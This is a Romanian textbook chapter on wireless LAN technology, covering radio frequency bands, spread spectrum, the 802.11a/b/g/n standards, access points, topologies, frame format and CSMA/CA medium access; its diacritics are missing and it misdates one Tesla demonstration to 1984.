Ce se nva n acest capitol? Cine este Nikola Tesla este un inventator srbo-american, fiind cunoscut pentru contribuiile sale la sistemul de distribuie al curentului electric alternativ. Patentele nregistrate de acesta au ajutat la punerea bazelor comunicaiei wireless i radioului. Astfel, n 1984, a fcut prima demonstraie de comunicaie wireless pe distane scurte. Jesse Eugen Russel este un inventator afro-american i unul dintre vizionarii a crui perspectiv a influenat industria comunicaiilor wireless din secolul 21. Acesta deine numeroase patente i continu s inoveze n domeniul transmisiilor wireless n band larg, de generaie urmtoare, care mai poart numele i de 4G. Pe fondul unei nevoi de mobilitate i conectivitate din ce n ce mai crescute, comunicaia fr fir a nregistrat o explozie fulminant n ultimii ani. Rspndirea dispozitivelor mobile (calculatoare notebook, PDA-uri sau smartphone-uri) este cea care a condus n mare msur la dezvoltarea tehnologiilor de comunicaie fr fir, fr a fi ns singurul motor. Tendina de migrare spre digital pentru o gam din ce n ce mai larg de dispozitive genereaz de asemenea o nevoie de interconectare crescut. Pentru acestea, perspectiva comunicaiei fr fir este foarte atrgtoare. Motivele principale sunt mobilitatea crescut i reducerea costurilor pentru dezvoltarea infrastructurii. Dei n trecut securizarea unei reele wireless se dovedise a fi o provocare la care organizaiile de standardizare nc nu rspunseser, n prezent exist mai multe protocoale standardizate care pot oferi o securitate sporit. Cu toate acestea, tehnologia wireless nu are rolul s o nlocuiasc pe cea cu fir, ci mai degrab s o completeze. Motivul principal este limea de band: n timp ce Ethernet-ul a ajuns s ofere 10 Gbps, tehnologiile wireless actuale nu depesc 300 Mbps (600 Mbps n cazul tehnologiilor n curs de standardizare). n plus, datorit utilizrii switchurilor, tehnologia Ethernet asigur o comunicaie full-duplex. Cu alte cuvinte, dac zece staii cu plci Ethernet de 10 Mbps sunt conectate n acelai switch i switchul are o capacitate de comutare destul de mare, fiecare staie va putea avea garantat, banda de 10Mbps n reeaua local. De partea cealalt, standardul wireless permite unei singure staii s transmit la un moment dat. Aceasta este o limitare a mediului fizic i a proiectrii tehnologiei, deoarece, n reele wireless, un dispozitiv folosete aceeai frecven a semnalului i pentru transmisie i pentru recepie. Este important de reinut faptul c, n reelele wireless, banda maxim se mparte la numrul de staii. Funcionarea tehnologiei wireless la nivel fizic Standarde wireless pentru reele locale Topologii wireless Tipuri de echipamente wireless Securitatea reelelor wireless

10.1 Descrierea comunicaiei wireless la nivel fizic


Baza fizic pentru comunicaia fr fir o reprezint undele electromagnetice, folosite n frecvenele cele mai potrivite pentru transmisii de date.

334 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

10.1.1 Unde electromagnetice


Mediul fizic de propagare al undelor electromagnetice nu este de fapt necesar, cci un semnal wireless se poate propaga fr probleme i n vid (de aceea cldura i lumina soarelui ajung pe Pmnt). Cnd vorbim despre comunicaia de date, principala proprietate a undelor este frecvena. n funcie de frecvena pe care o tehnologie funcioneaz, se poate determina calitatea semnalului n atmosfer, interferena cu alte dispozitive, distana de propagare a semnalului i chiar i limea de band. n figura de mai jos este reprezentat spectrul electromagnetic din punctul de vedere al utilizrii undelor de diverse frecvene n comunicaii:

10-1 Benzi de frecvent Frecvenele folosite n reele de calculatoare pentru transmisiile wireless se afl n intervalele de 2.4 - 2.4835 GHz, 5,725 - 5,850 GHz i recent adugatul interval de 5.47 - 5.725 GHz. Deci, undele electromagnetice prin care se propag semnalul wireless n comunicaii de date sunt unde radio de nalt frecven i microunde. n folosirea undelor electromagnetice pentru transmisii de date, trebuie avute n vedere diferite considerente fizice. Acestea nu sunt clar delimitate din punct de vedere al propagrii, precum este semnalul de pe un cablu de cupru protejat de un izolator. Orice dispozitiv care ascult mediul i este n raza de propagare poate recepiona semnalul wireless. Acesta este un considerent de securitate foarte important. Undele electromagnetice nu sunt protejate de semnale exterioare, precum este semnalul de pe un cablu de cupru protejat de un izolator. Odat cunoscut frecvena de transmisie a unei reele wireless, administratorul de reea trebuie s fie contient de alte dispozitive sau tehnologii ce funcioneaz n aceeai frecven. Semnalul wireless se atenueaz odat cu propagarea prin mediul fizic. Atenuarea poate interveni din mai multe cauze: absorbirea semnalului n atmosfer efecte termodinamice cauzate de cldur sau umiditate sporit interferene cu alte semnale reflexia parial a semnalului pe suprafeele diferitelor materiale de construcie Din considerente legale, nu se poate transmite n spectru pe o anumit frecven fr a avea licen pe acea frecven. O reea wireless ar fi greu de implementat att din punct de vedere birocratic, ct i din punct de vedere al propagrii n popularitate a tehnologiei, dac fiecare utilizator, atunci cnd i-ar cumpra un ruter wireless, ar trebui s plteasc i pentru licenierea unei benzi de frecven n care s transmit. n afar de acest aspect, frecvena dispozitivelor wireless trebuie s fie aceeai n toat lumea reelelor de calculatoare, pentru ca tehnologia s fie compatibil.

W i r e l e s s | 335

10.1.2 Benzile ISM i UNII


Pentru a efectua o transmisie wireless este nevoie de licen din partea unei autoriti. n Romnia, ANCOM (Autoritatea Naonal pentru Administrare i Reglementare n Comunicaii) [1] se ocup de administrarea ntregului spectru radio, pe teritoriul rii. Spre exemplu, Orange, Vodafone i Cosmote au licen pentru a efectua transmisii n benzile: 890 MHz 960 MHz respectiv 1710 MHz 1880 MHz, folosind tehnologia 2G. Toate aceste licene vor expira n decursul anului 2012 i se vor relicita. Binecunoscuta tehnologie 3G folosete benzile de frecven 900MHz (folosit n mediul rural, n cmp deschis) i 2100MHz (folosit cu preponderen n mediul urban). Exist, totui, o metod de a efectua transmisii fr licen: transmisia n una dintre benzile ISM (Industrial, Scientific and Medical) sau UNII (Unlicensed National Information Infrastructure). S-a czut de acord ca la nivel internaional aceste benzi s nu fie liceniate, astfel nct s poat fi utilizate de oricine. Drept consecin, nu este nevoie de licen pentru a aciona telecomanda de la alarm, pentru a utiliza telefonul fr fir sau pentru a folosi un mouse sau o tastatur wireless. Toate acestea opereaz n una dintre benzile ISM sau UNII. Pentru a elimina necesitatea obinerii unei licene pentru utilizarea reelelor wireless, i acestea funcioneaz n aceste benzi. Exist dou benzi ISM de interes pentru tehnologia wireless: 2,4 GHz 2,4835 GHz i 5,725 GHz 5,850 GHz. Din 2004, odat cu standardul 802.11h, s-a adugat i banda UNII de 5.47 - 5.725 GHz. Not: La nceputurile tehnologiei wireless, se folosea i frecvena de 900 MHz. ns, din cauza faptului c doar cteva ri ofereau posibilitatea de utilizare fr licen, banda a fost retras. n Romnia, spectrul alocat a fost 902-928 Mhz, fiind retras n 2006. Faptul c se lucreaz n benzile ISM aduce ns dup sine o constrngere: n aceste benzi este limitat legal posibilitatea de a transmite un semnal de putere mare. Scopul acestei msuri este de a limita distana maxim de transmisie n vederea reducerii interferenei ntre echipamentele diverilor utilizatori. Astfel, raza de funcionare a reelelor wireless este limitat prin lege. Din punct de vedere tehnic, pentru a limita interferena dintre diferite echipamente, se folosete transmisia n spectru mprtiat. Semnalul de date este modulat (compus) cu un semnal (cod) pseudo-aleator de band larg. Banda de frecven a semnalului transmis trebuie s fie mult mai larg dect banda de frecven a semnalului de date, de unde i denumirea de spectru mprtiat (Spread Spectrum - SS). Zgomotul, n general, este de band ngust; prin combinarea lui cu un semnal de band larg, acesta nu mai influeneaz att de tare transmisia (vezi Fig. 10-2).

10-2 Transmisia n spectru mprtiat Exist mai multe implementri pentru transmisia n spectru mprtiat: FHSS (Frequency Hopping Spread Spectrum) schimbarea rapid a frecvenei folosite, dup un algoritm pseudo-aleator care este cunoscut i de transmitor, i de receptor DSSS (Direct Sequence Spread Spectrum) datele de trimis se nmulesc cu o secven pseudo-aleatoare de 1 i -1, ce are o frecven mult mai ridicat dect semnalul original, fiind practic un zgomot. Pentru reconstrucie, se nmuleste aceeai secven cu datele primite, obinndu-se datele originale (1 * 1 = 1; -1 * -1 = 1).

336 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e OFDM (Orthogonal Frequency Division Multiplexing) se bazez pe multiplexarea n frecven (trimiterea datelor folosind mai multe frecvene simultan). Problema care apare n multiplexare este cum trimitem mai multe unde purttoare, astfel nct acestea s nu interfereze unele cu altele. Cercettorii au descoperit c trimiterea ortogonal a acestor unde purttoare anuleaz interferena dintre ele [2].

10.1.3 Frecvena 2.4GHz vs 5GHz


De la apariia primelor tehnologii wireless, soluiile existente se mpreau ntre banda de 2.4 GHz i banda de 5 GHz. Fiecare dintre acestea ofer avantaje i dezavantaje de implementare i funcionalitate. Diferenele dintre benzi se reduc de fapt la diferenele ntre transmisiile n frecven nalt i cele n frecvena joas. n cele ce urmeaz, se va realiza o comparaie ntre cele dou i se va sfri prin a desemna banda cea mai utilizat n prezent i motivele din spatele adoptrii acesteia. Undele de frecvena joas sunt absorbite foarte puin n atmosfer, de aceea ele pot strbate distane foarte mari. Cu ct crete frecvena unei unde, cu att aceasta este absorbit mai mult n atmosfer. De asemenea, undele joase prezint o capacitate de penetrare a materialelor foarte mare, fiind cu att mai potrivite pentru transmisiile de date. Spre deosebire de acestea, undele de frecvene mari tind s sufere reflexii i refracii pe diverse suprafee. Concluzionnd, dac se folosete banda de 2.4 GHz, absorbia n atmosfer o s fie mai mic, reflexia semnalului de asemenea, deci distana posibil de propagare o s fie mai mare. Folosind o frecven mai mare obinem o cretere aproximativ liniar a limii de band. Spre exemplu, folosirea benzii de 900 MHz oferea o band de 860 Kbps. Odat cu trecerea la 2.4, banda teoretic a ajuns la valoarea de 2 Mbps. Din nefericire, banda de 2,4 GHz a ajuns s fie destul de aglomerat. n aceast band opereaz Bluetooth, perifericele wireless, telecomenzile i alte dispozitive cu care vor aprea inevitabil interferene. Banda de 5 GHz este destul de puin ocupat ns dezavantajul este absorbia mai mare a semnalului n mediul fizic. Echipamentele ce funcioneaz n banda de 5 GHz sunt sensibil mai scumpe dect cele din banda de 2.4 GHz. Acesta a fost i unul din motivele pentru care tehnologia de 2.4 GHz a ctigat teren pe piaa wireless. Tabelul de mai jos sintetizeaz proprietile undelor, prezentate pn acum: Criteriu/Frecven Frecvene mici Frecvene mari

Distan Mare Mic Lime de band Mic Mare Interferene Mari Mici Cost Mic Mare Frecvena cel mai des utilizat n prezent n reelele de date este cea de 2.4 GHz. Dei mult mai aglomerat, aceasta s-a bucurat de mult suport din partea unor organizaii precum Centrino sau WIFI Aliance (consoriu format din peste 300 dintre cele mai mari companii din domeniul IT, avnd ca scop promovarea i dezvoltarea tehnologiilor wireless).

10.2 Standarde pentru reele locale (WLANs)


Primul standard wireless, 802.11, a aprut n 1997 permind viteze de 1-2Mbps. Transmisia era specificat folosind infrarou (1Mbps), FHSS (1-2Mbps) sau DSSS (1-2Mbps), incluznd tehnici de corecie a erorilor. n continuare se vor prezenta standardele folosite.

10.2.1 Standardul 802.11b


Lansat n 1999, 802.11b este al doilea protocol ca popularitate n zilele noastre. Opereaz n banda ISM de 2,4 GHz i atinge o band de 11 Mbps. 802.11b este performerul la capitolul raz a

W i r e l e s s | 337 reelei: pentru c opereaz la o frecven mic, aceasta poate ajunge la cteva sute de metri i penetra pn la 4-5 perei de beton folosind echipamente convenionale. La capitolul interoperabilitate cu alte standarde, un echipament 802.11b poate comunica cu unul 802.11g, dar nu cu unul 802.11a. Dei acest standard a aprut odat cu 802.11a, a reuit s se impun prin preurile mai sczute ale echipamentelor i prin suportul pe care l-a primit din partea Wi-Fi Alliance. La apariia 802.11b, organizaia a realizat un nou brand pe care l-a popularizat i l-a promovat, oferind standardului numele de Wi-Fi. De asemenea, au fost create i etichete speciale care indicau dac un dispozitiv este sau nu compatibil cu acest standard. Dezavantajul major ine, ns, de band: 11 Mbps este destul de puin i, revenind la discuia cu banda real ce se mparte ntre staii, se poate spune c 802.11b nu se preteaz la reele mai mari. Se mai folosete 802.11b? n general, astzi, nu prea mai exist pe pia echipamente exclusiv 802.11b ci doar 802.11b/g. Mai poate fi ns folosit de ctre dispozitive care au nevoie de acoperire mare i nu de lime de band. O serie de sisteme embedded intr n aceast ultim categorie.

10.2.2 Standardul 802.11a


Dei a aprut ca standard n acelai timp cu 802.11b, echipamentele 802.11a nu au aprut pe pia dect spre sfritul anului 2000. 802.11a este singurul din familia de protocoale WLAN care opereaz n frecvena de 5 GHz, oferind o lungime de band de 54 Mbps. Pentru a putea oferi o vitez mai bun dect Wi-Fi la o frecven mai mare, standardul folosete modularea avansat a undei purttoare de semnal OFDM (Orthogonal Frequency Division Multiplexing vezi seciunea Benzile ISM i UNI). Viteza de 54Mbps este doar teoretic, aceasta fiind n practic n jurul a 20 Mbps pentru transmisia datelor efective. Acest lucru se datoreaz coreciei erorilor, trebuind confirmat fiecare pachet. Avantajele standardului 802.11a sunt, n primul rnd, limea de banda i lipsa interferenelor. Prile mai puin bune ale tehnologiei sunt tocmai urmarea faptului c se opereaz la frecvene foarte mari. La 5 GHz se afl microundele ce au o lungime de und de doar 6 cm. Astfel de unde se absorb foarte uor n aer i se reflect pe diverse suprafee, neputnd penetra uor materialele. O consecin interesant a acestei proprieti fizice este folosirea acestui standard n medii n care se dorete o securitate sporit la nivel fizic. n general este destul de greu s se asigure controlul propagrii undelor electromagnetice, dar dac reeaua trebuie amplasat ntr-un amfiteatru n care suprafeele pereilor au un grad de reflexie mare, se prefer standardul 802.11a pentru o mai bun izolare a semnalului la nivelul ncperii. Un alt dezavantaj l constituie costul ridicat al echipamentelor.

10.2.3 Standardul 802.11g


Pn la apariia 802.11g, foarte mult lume folosea 802.11b. Lansat n 2002, 802.11g combin avantajele 802.11a (banda de 54 Mbps) cu avantajele 802.11b (raz mare de acoperire). Astfel, 802.11g opereaz n banda ISM de 2,4 Ghz i folosete OFDM pentru atingerea ratei de transfer de 54 Mbps, prin folosirea mai multor purttoare transmise ortogonal Succesul 802.11g s-a datorat i pstrrii compatibilitii cu 802.11b, tehnologia cea mai rspndit pn atunci. Toate echipamentele 802.11g sunt compatibile cu cele b. De fapt, acestea pot opera n ambele standarde. Astfel, s-a putut realiza o trecere comod de la b la g prin nlocuirea treptat a echipamentelor, fr a fi necesar o investiie mare ntr-un timp scurt. Spre deosebire de 802.11a, banda de 54 Mbps nu are un grad att de mare de constan din cauza interferenelor mai mari din banda ISM de 2,4 GHz n raport cu cea de 5 GHz. ns frecvena mai mic permite pstrarea calitii semnalului pe distane mult mai mari, degradarea benzii de 54 Mbps fiind mult mai lent dect la 802.11a. Astzi, 802.11g este ctigtorul absolut n lupta ntre standarde.

338 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

10.2.4 Standardul 802.11n


Una din principalele probleme cu care se confrunt reelele wireless este limea de band. Astfel, IEEE a creat n 2003 un grup de lucru pentru dezvoltarea unui proiect care s rezolve nevoile tot mai mari de vitez i stabilitate ale utilizatorilor. n 2009 a fost lansat standardul 802.11n. Noul standard i propune s ofere o band de 600 Mbps i o raz de acoperire de 2-4 ori mai mare dect a standardelor actuale. n acelai timp, prin mrirea ratei de transfer i micorarea timpului de funcionare a dispozitivului, se va diminua consumul de energie. O alt noutate o constituie faptul c se poate trimite un singur antet pentru mai multe pachete de date (packet agregation), overhead-ul adus de antete fiind mult mai mic. Pentru a crete performanele, standardul se bazeaz pe tehnologia MIMO (Multiple Input Multiple Output) care folosete un sistem de mai multe antene pentru transmisia i recepia datelor. Multiplexarea pe mai multe antene se face cu ajutorul unui procesor DSP [3] (Digital Signal Processor). Standard Publicare Frecven Vitez Modulare Distan interior Distan exterior Avantaje Dezavantaje 802.11a 1999 5GHz 54Mbps OFDM 35m 120m Semnal puternic pe raz mic Inconpatibil cu b i g 802.11b 1999 2.4GHz 11Mbps DSSS 38m 140m Pre sczut Interferee 802.11g 2003 2.4GHz 54Mbps OFDM, DSSS 38m 140m Compatil cu b Vitez mai mare ca b Interferene 802.11n 2009 2.4GHz/5GHz 160-600 Mbps OFDM 70m 250m Acoperire mare Vitez mare Standard nou Pre ridicat

10-3 Comparaia general a standardelor Din cauza reflexiei, la destinaie se primesc mai multe unde purttoare pentru aceeai informaie, dar cu claritate diferit. Acest proces poart numele de efectul multipath. n 802.11g, procesorul DSP alege cea mai clar dintre aceste unde. Astfel undele cu semnal mai slab sunt ignorate, acestea putnd s conin informaii relevante. n standardul 802.11n, pentru a preveni aceast problem, s-a implementat tehnologia MRC (Maximum Ratio Combining) n procesorul DSP al plcii de reea. MRC compune toate undele primite pentru a obine claritatea maxim a informaiei primite, de unde rezult i o lime de band mai bun. O facilitate important oferit de noul standard este pstrarea compatibilitii cu standardele deja existente 802.11a/b/g. Astfel, un echipament 802.11n va putea funciona fie n banda de 2,4 GHz, fie n banda de 5 GHz. Not: MRC este o tehnologie client-side, deci, dac o plac de reea 802.11n se conecteaz la o reea 802.11g, se va obine un throughput mai bun dect n cazul plcilor 802.11g. Dup cum s-a prezentat n acest subcapitol, viteza de transmisie n cazul unei conexiuni wireless difer n funcie de standardul folosit. n Fig. 10-3 sunt principalele diferene ntre standarde. Vitezele prezentate anterior reprezint vitezele maxime de conectare posibile. n cazul tehnologiilor wireless, spre deosebire de comunicaia pe cablu, vitezele de conectare pot scdea, n funcie de distana dintre punctele conectate sau interferenele prezente n canalul de comunicaie. n cazul comunicaiei pe cablu, viteza de conectare este fix: conexiunea ori merge ori nu merge, neexistnd noiunea folosirii unei viteze mai mici n cazul n care este o problem cu mediul de transmisie. n Fig. 10-4 este prezentat o comparaie ntre vitezele de conectare posibile pentru standardele 802.11a/b/g, n funcie de distana dintre puncte.

W i r e l e s s | 339

10-4 Distane de propagare (spaii in-door)

10.3 Implementarea unei reele wireless


10.3.1 Echipamente wireless de interconectare
Access point-urile, sau mai pe scurt AP-urile, joac rolul de punct central de comunicaie ntr-o reea wireless, asigurnd interconectarea ntre toate dispozitivele. De asemenea, tot ele sunt cele ce interconecteaz reelele fr fir cu infrastructura wired. Ele dispun de o interfa wired pentru interconectarea la reeaua cu fir i una wireless pentru comunicaia cu staiile echipate cu interfee wireless. AP-urile pot fi vzute ca i hub-urile din reeaua Ethernet din punct de vedere al funcionalitii n reea. Un AP are dou funcii de nivel 2 importante: Asocierea clienilor presupune includerea clienilor la nivel 2 n reeaua wireless. Autentificarea clienilor presupune verificarea identitii clienilor ce doresc s se conecteze la reea (n cazul n care se folosete un mecanism de securitate specific). La prima vedere, conceptul de asociere de nivel 2 la o reea poate suna confuz. ntr-o reea unde protocolul de nivel 2 este Ethernet, nu exist conceptul de reea de nivel 2. ntr-o topologie 802.3, noiunea de reea exist doar la nivel superior, la nivel IP. ns, ntr-o reea wireless, conceptul de reea exist att la nivelul protocolului 802.11, ct i la nivelul protocolului de nivel 3. O reea wireless este identificat la nivel 2 de un nume special, denumit n standard: SSID (Service Set Identifier). Dac un client dorete s se asocieze cu o reea wireless (termenul de asociere se refer implicit la conectivitate de nivel 2), trebuie s cunoasc SSID-ul acestei reele. Majoritatea clienilor wireless permite scanarea mediului pentru a gsi SSID-ul reelelor la care se pot asocia. Dup ce o staie s-a asociat unei reele, se va face o cerere DHCP pentru a obine o adres IP. Rspunsul la aceast cerere va trebui s vin fie de la un server DHCP dedicat aflat pe o staie n reea, fie direct de la AP (n cazul n care AP-ul are deja integrat un server DHCP). Ruterele wireless sunt dispozitive care pot realiza n acelai timp funciile unui AP, unui switch de nivel 2 i unui ruter. Aceste echipamente sunt prevzute cu: O anten wireless - pentru ndeplinirea funciilor de AP. Unul sau mai multe porturi de LAN - aceste porturi sunt de fapt conectate ntr-un switch care se afl nuntrul ruterului wireless, acesta fiind transparent pentru utilizatori. Porturile acestea sunt prezente pentru a putea oferi i funcionalitate de switch ntr-o reea n care nu toate staiile au interfee wireless. ntre oricare dintre aceste porturi se face switching. Un port de WAN acest port este cel la care se leag conexiunea de la ISP. ntre acest port i oricare dintre porturile de LAN se face rutare.

340 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Bridge-urile seamn foarte bine cu access point-urile din punctul de vedere al arhitecturii hardware. Ele sunt folosite, ns, pentru interconectarea reelelor printr-o legtur wireless. Un exemplu tipic de utilizare a bridge-urilor este realizarea unei conexiuni ntre dou cldiri. Un bridge, asemeni unui AP, are o interfa wired i una wireless: cadrele ce vin pe una dintre interfee sunt transmise ctre cealalt, cu eventuala translaie ntre formatele cadrelor celor dou reele. De asemenea, un bridge poate decide s nu transmit mai departe un pachet n cazul n care tie c destinatarul se afl n reeaua din care a venit pachetul. Un bridge, ns, nu permite asocierea nodurilor, de aceea, pentru a conecta mai multe staii dotate cu interfee wireless, este n continuare nevoie de un access point. Echipamentele prezentate anterior sunt de sine stttoare. O staie, dac dorete s comunice folosind reeaua wireless, trebuie s se conecteze la un port Ethernet al acestora. Pentru a asigura i mobilitatea staiilor, pentru accesul la o reea, se poate folosi un adaptor wireless cu conectare pe USB, PCI, PCMCIA sau ncorporat n placa de baz a sistemului. Aadar, echipamentele prezentate n aceast seciune convertesc undele electromagnetice n semnale electrice. Pentru a captura sau transmite undele se folosesc antene wireless speciale, a cror performan este specificat prin parametrul gain (ctig), semnificnd creterea de putere a unei antene la emisie sau la recepie. Acesta se msoar n decibeli. Exist mai multe tipuri de antene wireless: Omnidirecionale mprtie semnalul n toate direciile. Unidirecionale focalizeaz semnalul ntr-o singur direcie. Sectoriale mprtie semnalul pe un sector, de obicei 90 de grade sau 180 de grade. Tipul de antene folosit variaz n funcie de topologia reelei wireless. Dac se dorete o conexiune punct la punct, se vor folosi antene unidirecionale, iar dac se dorete o conexiune punct la multipunct, antenele omnidirecionale n punctul central sunt soluia. Totui, antenele omnidirecionale mprtie semnalul, deseori fiind ineficiente. Se recomand folosirea antenelor sectoriale pe cte un echipament separat, fiecare dintre ele acoperind un anumit unghi. Astfel, se folosesc 4 antene sectoriale la 90 de grade pentru a nlocui una omnidirecional, costul crescnd , dar performanele obinute fiind mult mai bune.

10.3.2 Topologii wireless


Reele wireless din LAN se clasific n dou tipuri din punct de vedere al topologiei: Reele adhoc, fiind echivalentul n Ethernet al unei reele full-mesh, n care fiecare staie este conectat prin interfaa wireless direct la celelalte staii. Cu alte cuvinte, traficul generat de o staie A, destinat unei staii B, trece direct de la A la B, fr un dispozitiv intermediar (vezi Fig. 10-5). Reele de tip infrastructur, presupunnd existena unui dispozitiv central care se ocup de managementul reelei wireless i prin care trec toate pachetele din reea n drumul lor de la surs spre destinaie. Acest dispozitiv central poate fi un acces point sau un ruter wireless (vezi Fig. 10-6).

W i r e l e s s | 341

10-5 Reea adhoc

10-6 Reea de tip infrastructur

10.4 Comunicaia wireless


10.4.1 Formatul cadrului 802.11
Avnd n vedere c reelele wireless sunt cel mai adesea continuate prin reele Ethernet, unul din miturile false ale lumii reelelor de calculatoare este c formatul cadrului este identic n ambele standarde. n realitate, modul de funcionare i cerinele unei reele wireless sunt destul de diferite de ceea ce presupune standardul Ethernet. n continuare, se vor expune asemnrile dintre cele 2 formate, punndu-se accent pe cadrul 802.11. Not: n desenul din Fig. 10-7, cifra ce se afl deasupra fiecrui cmp din cadru specific numrul de octei ocupat n antet iar mrimea cmpurilor de sub control cadru este exprimat n bii. Specificaiile din figur au fost extrase din standardul republicat de IEEE n 2007. O mic descriere a fiecrui cmp din cadrul de control: Protocol Version (Versiune) deocamdat 00 Type (tip) Management / Control / Data Subtype (subtip) Association Request, ACK, Data etc.

342 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Ctre AP/de la AP 1 dac destinaia/sursa este reeaua cu fir frag. Mai sunt fragmente de transmis retry retransmisie a unui fragment transmis anterior power mgt staia va intra n mod consum redus, imediat dup transmisie More Data (date) mai sunt frame-uri n bufferul de transmisie WEP cadrul este criptat

10-7 Formatul cadrului 802.11 Prima observaie este c dimensiunea maxim posibil a cadrului wireless este de 2346 de octei. Dup cum s-a specificat n capitolul 2, protocolul Ethernet nu permite un MTU mai mare de 1518 octei. Ce se va ntmpla, deci, cnd un cadru wireless de dimensiunea mai mai mare de 1518 bytes va intra ntr-o reea Ethernet? Cum, la nivelul 2, protocolul Ethernet nu ofer o posibilitate de fragmentare a unui cadru de dimensiune prea mare, protocolul de nivel superior (cel mai adesea este vorba de IP) va trebui s ofere serviciul de fragmentare. Bineneles c acest proces va avea ntotdeauna loc n interiorul unui bridge sau AP. n general, MTU-ul de pe reele wireless este setat implicit la maxim 1518 pentru a evita procesul de fragmentare care introduce un overhead de procesare la nivelul echipamentelor de reea. Primul cmp din cadrul wireless este numit cadrul de control i ocup 2 octei. Cele mai importante informaii pe care acesta le furnizeaz sunt biii de To DS (Distribution System termenul este echivalent cu access point) i From DS. Cele 4 combinaii care se pot obine din varierea valorilor acestor 2 bii ofer o interpretare unic a celor 4 adrese MAC din cadrul wireless. n continuare, se vor prezenta aceste interpretri: Ctre AP 0 0 1 1 De la AP 0 1 0 1 Adresa 1 Destinaie Destinaie BSSID Adres receptor Adresa 2 Surs BSSID Surs Adres transmitor Adresa 3 BSSID Surs Destinaie Destinaie Adresa4 Surs

Pentru o mai bun nelegere a cmpurilor de mai sus, se recomand consultarea standardului IEEE publicat n 2007 [4]. n interiorul cadrului 802.11 este prezent i un cmp de durat. Acesta fusese creat pentru a oferi unei staii posibilitatea de a putea comunica celorlalte staii perioada n care aceasta va ocupa mediul. Se va analiza pe scurt un scenariu simplu pentru a releva importana acestei faciliti. Se presupune c ntr-o reea wireless, staia A vrea s transmit. Aceasta va asculta mediul (Carrier Sense) i dac este liber (Multiple Access) va ncepe s transmit completnd i cmpul de durat cu o valoare estimat. Cadrul pe care staia A l va transmite va ajunge la toate staiile care sunt n raza sa de transmisie. Staia B asculta i ea mediul, cci vrea s transmit. Cnd va primi cadrul staiei A, va citi n cmpul de durat c aceasta va ocupa mediul timp de x secunde. tiind c timp de x secunde mediul va fi ocupat cu transmisia staiei A, staia B nu va mai scana mediul n acest interval i astfel va conserva, astfel, putere.

W i r e l e s s | 343 La nceputurile standardului, ideea era una destul de practic, cci dispozitivele care sunt n general dotate cu capabiliti wireless au acumulatori cu timp limitat de funcionare. S-a observat, ns, c informaia de durat poate deschide reeaua la unele hibe de securitate i de aceea cmpul de durat nu este folosit n comunicaiile din prezent.

10.4.2 Accesul la mediu


Reelele 802.11 se mai numesc, eronat, Wireless Ethernet. Dei cele dou tehnologii au unele lucruri n comun, asemnri majore ntre ele nu exist nici la nivel fizic, nici la nivelul legtur de date. n specificaia Ethernet, tehnica de acces la mediu este CSMA/CD. Aceasta, ns, se refer la situaia n care mediul este comun, adic fie se utilizeaz huburi, fie topologiile erau de tip magistral. Astzi ns, niciuna dintre situaiile acestea nu mai este ntlnit n practic: se utilizeaz switchuri ce elimin coliziunile de pachete pe mediu, aceasta fcnd CSMA/CD inutil. Printre beneficii se numr att comunicaia full-duplex, ct i banda garantat. n cazul reelelor wireless ne ntoarcem, ns, la situaia n care mediul este partajat, din acest punct de vedere, reeaua fr fir semnnd cu o reea Ethernet bazat pe hub. Anumite particulariti fac ns CSMA/CD s fie ineficient n cazul transmisiilor fr fir. S consideram urmtorul exemplu: dou staii (H1 i H2) i un punct de acces (AP) fac parte dintr-o reea wireless. AP este n raza lui H1 dar H2 nu. H1 dorete s transmit ctre AP.

10-8 Problema staiei ascunse Dac se folosete CSMA/CD, atunci H1 va asculta mediul i, dac nu recepioneaz semnal, va ncepe s transmit. Ce se ntmpl dac H2 transmite ctre AP n momentul acesta? H1 nu va recepiona semnalul pentru c H2 nu e n raza sa de acoperire, aa c va ncepe s transmit odat cu staia H2, rezultnd astfel o coliziune pe mediu. Aceast problem se numete problema staiei ascunse (vezi Fig. 10-8). n concluzie, nu putem folosi CSMA/CD pentru a asigura accesul la mediul wireless partajat. Soluia adoptat de standard se numete CSMA/CA (Carrier Sense Multiple Access/Collision Avoidance). Funcionarea acestui mecanism se bazeaz pe trimiterea unui cadru special de ACK de la destinaie la surs, dup fiecare cadru 802.11 primit la destinaie. Dac, dup trimiterea unui cadru, nu se primete un ACK, se ateapt un timp aleator i se ncearc din nou s se trimit cadrul pentru care nu s-a primit ACK. Se analizeaz modul n care aceast metod rezolv problema staiei ascunse: Staia A ascult mediul i, dac nu detecteaz prezena unui semnal, ncepe s transmit. Staia C face exact acelai lucru i ncepe i ea s transmit. Se produce o coliziune ntre cele dou cadre i niciunul din ele nu ajunge la staia B, deci staia B nu trimite ACK nici staiei A, nici staiei C.

344 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Ambele staii ateapt un timp predefinit n care ateapt ACK. Dac timpul de ateptare expir, ambele staii vor atepta un timp aleatoriu numit DIFS (Distributed Interframe Spacing) nainte s transmit din nou.

10-9 Accesul la mediu Not: Dup cum s-a precizat i la descrierea standardului 802.11a, deoarece n wireless, pentru fiecare cadru trimis, se ateapt un ACK, banda efectiv de care se dispune, este de la nceput njumtit. O alt metod de acces la mediu prevzut n CSMA/CA presupune folosirea unor mesaje speciale de tip RTS (request to send) i CTS (clear to send). Folosind acest mecanism, o staie ntreab AP-ul dac mediul de transmisie este liber folosind un mesaj de tip RTS. Acest cadru ajunge doar la AP. AP-ul, fiind punctul central al reelei, nu are problema staiei ascunse. Dac mediul este liber, AP ul trimite un CTS n care specific staia ce a obinut permisia de a transmite. Mesajul de tip CTS ajunge la toate staiile din reea, nu doar la cea care a cerut acces la mediu prin mesajul RTS anterior. Astfel, staia ce dorea s transmit va primi acces, iar celelalte staii vor considera mediul ocupat de aceasta (vezi Fig. 10-9).

10.4.3 Canale de comunicaie


Dup cum se poate observa pn n acest punct, dei CSMA/CA prevede o metod de comunicare funcional, totui nu ofer o soluie ca dou staii s poat transmite n acelai timp, pe aceeai frecven. S-ar obine o coliziune urmat de retransmiterea pachetului. Deci, cum se pot obine dou reele wireless care s funcioneze n aceeai banda ISM i care s nu produc o coliziune sau s interfereze una cu cealalt. Rspunsul rezid n analiza limii de band care este folosit ntr-o transmisie wireless. Limea de band este pn la urm o plaj de frecvene n care se transmite un semnal.

